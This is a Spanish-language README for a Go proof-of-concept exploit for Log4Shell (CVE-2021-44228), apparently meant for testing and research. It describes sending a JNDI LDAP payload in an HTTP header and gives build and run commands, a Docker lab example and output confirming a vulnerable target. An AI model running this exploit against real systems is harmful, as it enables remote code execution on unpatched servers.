CVE-2021-44228 PoC (Log4Shell)

⚠️ Aviso legal:
Esta herramienta está destinada solo a fines educativos, investigación de seguridad y entornos de prueba controlados.
Usarla contra sistemas sin permiso explícito es ilegal y es responsabilidad exclusiva del usuario.

📌 Descripción

Este proyecto contiene un exploit Prueba de Concepto (PoC) simple para la vulnerabilidad Apache Log4j2 (CVE-2021-44228).
El PoC envía una cabecera HTTP especialmente diseñada con una carga útil JNDI LDAP al objetivo.
Si el objetivo es vulnerable, enviará una llamada de retorno (callback) a la dirección LHOST especificada.

🚀 Uso

1️⃣ Compilar

go build -o exploit exploit.go

2️⃣ Ejecutar

sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>

• -r → URL del objetivo (endpoint de la aplicación vulnerable)
• -l → Dirección IP de tu listener para la llamada de retorno (la máquina que ejecuta el PoC)

🛠️ Ejemplo

Usando la aplicación vulnerable proporcionada en Docker:

# Ejecutar la aplicación vulnerable
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app

# Ejecutar el exploit
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1

Salida esperada:

[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE